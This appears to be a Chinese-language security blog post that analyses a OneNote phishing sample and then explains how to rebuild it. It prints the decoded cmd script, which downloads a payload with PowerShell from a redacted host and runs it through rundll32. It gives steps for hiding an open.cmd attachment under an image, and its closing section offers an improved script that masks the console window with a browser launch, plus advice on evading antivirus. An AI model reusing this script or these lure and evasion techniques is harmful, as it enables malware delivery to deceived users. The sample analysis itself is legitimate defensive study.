本文僅用于技術研究學習,請遵守相關法律,禁止使用本文所提及的相關技術開展非法攻擊行為,由于傳播、利用本文所提供的信息而造成任何不良后果及損失,與本賬號及作者無關。
本文來源無問社區,更多實戰內容,滲透思路盡在無問社區http://www.wwlib.cn/index.php/artread/artid/10512.html
前言
拿到了兩個One Note的釣魚樣本。以 為 是個OneNote的0day,這不得分析分析搞一手。就花了點時間分析了一下,并且成功復現了手法。
沙箱分析
但凡是個正常人,肯定是不會直接雙擊樣本的。打開用殺軟先靜態掃了一波,df報毒了,某60和某絨沒報毒(不知道當你看到這的時候會不會報毒)。然后在虛擬機上裝一個OneNote。趁這個時間,把樣本扔到沙箱分析一下。這里用的是qax的沙箱。
文件概要
扔上去之后,發現已經有人在我之前跑過沙箱了,不用等了看結果。不出意外,肯定是惡意的文件,文件類型被 定義為 Powershell Script File
。這里沙箱給出的結果的是木馬。emmm,還不錯。
行為分析
查看行為分析,這里給出的是:
分配可讀、可寫、可執行內存空間(通常為了解壓自身)
了解過ShellCode加載的師傅可能很熟悉這個分配可讀、可寫、可執行內存空間的行為了,這就是常見的一個ShellCode加載的所有的行為特征(要是我,我肯定先申請一個rw...)。所以從這里看呢,這就是一個ShellCode加載器了。繼續往下看行為分析圖。
行為分析圖
看到這里的調用鏈,狂喜,這真不會是個0day吧。One Note后調用powershell,之前我也分析過word漏洞的樣本,列如之前我寫過的CVE-2021-40444、CVE-2022-30190,有一點熟悉的感覺。
網絡行為
網絡行為這里是空的,當時很疑惑,按道理說機器上線時候是有回連c2的包的啊,不應該啊,后面再看沙箱運行的截圖,發現沙箱的網絡可能不通,所以這里可能就沒有外連。
手動分析
手擼一下
我先去網上找了一波OneNote文件的結構,但是沒有找到,有關于.one文件的解析,但是也不重要了。拖到WinHex先看下文件頭。文件頭是
E4525C7B8C
開頭不是504b0304(因為docx、xlsx這之類的文件其實是采用zip壓縮算法的壓縮包),所以.one這跟docx他們的結構還不一樣,
沒事兒,繼續看。往下拖的時候,發現了里面有幾張圖片的文件頭和文件尾的16進制數。文件里應該是有圖片。拖到后面,發現了一段powershell命令。直接復制出來。
這段的大概意思就是,使用了 .NET Framework 中的 System.Text.Encoding 和 System.Convert 類。它的作用是將一個 Base64 編碼的字符串轉換為 ASCII 編碼的字符串。 .FromBase64String
方法是 System.Convert 類中的一個方法,它接收一個 Base64 編碼的字符串,并返回其對應的字節數組。因此,這段代碼需要一個 Base64 編碼的字符串作為參數,并將其轉換為 ASCII 編碼的字符串。
然后再將結果輸出到文件 C:ProgramDatain.cmd
里,然后再去執行他。現在的關鍵點就在他執行的內容是啥了,我們將base64字符串解碼。
@echo off
powershell Invoke-WebRequest -URI https://xxxxx.org/aswyw/01.gif -OutFile C:programdataputty.jpg
rundll32 C:programdataputty.jpg,Wind
exit
這里的內容主要就兩句了,從web上去下載文件到 C:programdataputty.jpg
,然后用rundll32去導出里面的函數執行從而上線。他導出的函數,就是ShellCode加載的函數了。
我去訪問了一下這個文件,發現這個文件已經變成空文件了,本來還想順便掏出ida pro分析一下加載器的(誰說搞web的就不會點二進制了),順便嫖一下人家的思路,看來是沒戲了。順便看了一下這個網站,應該是被ri了掛的文件上去,框架是WordPress的v6.1.1,版本比較新,應該是插件的洞打的。順便說一下,另外的一個站也是WordPress的v6.1.1,懷疑是批量摟了一波站。
雙擊打開
靜態能看的都看完了,看完這些東西,OneNote也早就裝好了,雙擊打開文件是一個OneNote的頁面,原來剛剛在WinHex看到的圖片就是他們OneNote居然沒有壓縮。有一個open,注意這里的open。習慣隨便拖一下圖片,發現拖不動,但是發現文件是只讀,這里我以為是跟word一樣,文件屬性只能讀,這里卡了一會。
然后就是隨便點一下。雙擊open的時候會提示打開附件可能會有害,無視風險繼續。會彈出powershell的窗口,直接某60就攔掉了,他這里動態還是過不了的。
到這里知道了他能干什么,但是由于無法編輯,還是不能知道他是怎么制作的。一籌莫展之際,就看看文件屬性,果然,這里的文件屬性被設置成了只讀,改掉之后繼續分析。
查看歷史編輯的記錄,是在2月7號編輯的,時間還不是很長。
拖開open那個小圖標,小黑子雞腳就露出來了,發現了后面藏的一個cmd文件。
把cmd文件拖出來,里面就是我們剛剛看到的那串PowerShell代碼了。
復現制作過程
制作非常簡單,幾乎不需要什么技巧,主要要考慮的姿勢還是cmd里的內容。
首先需要兩張圖片,一張背景,一張用來擋住cmd文件的圖標。
把背景拖入.one,置底。
- 制作cmd文件,文件名為open.cmd,這里可以自由發揮,導入.one,這里的cmd里面是windows的shell命令,總之是能上線就行。
- 把open這張小圖片導入,然后置頂蓋住cmd的圖標就行。
- 保存之后把文件屬性改為只讀。
總結
1.這個樣本的觸發需要誘導用戶手動點擊,跟word的宏差不多,要是人家收到不點擊,直接給你關掉就寄了,所以可用性還是不高。
2.還有就是打開會出現一個黑框,要等程序全部退出之后才會退出,這樣肯定會讓對面有所察覺,會被及時應急掉。我們可以加一句打開瀏覽器,窗口先彈出,然后瀏覽器彈出會蓋掉窗口。同樣出現瀏覽器出來打開了OneNote的官方網站,也會降低用戶的猜忌。
@echo off
start https://www.onenote.com/
powershell Invoke-WebRequest -URI https://xxx.org/aswyw/01.gif -OutFile C:programdataputty.jpg
rundll32 C:programdataputty.jpg,Wind
exit
3.用的powershell,powershell在國內的殺軟是監控很死的,動態大概率會寄掉的。所以只要用戶點擊了,我們能執行cmd里的命令,就不要去調powershell了,可以嘗試找一下白程序去下載文件然后執行等等思路,這里就不細說,僅僅是一個拋磚引玉,歡迎師傅們跟我交流。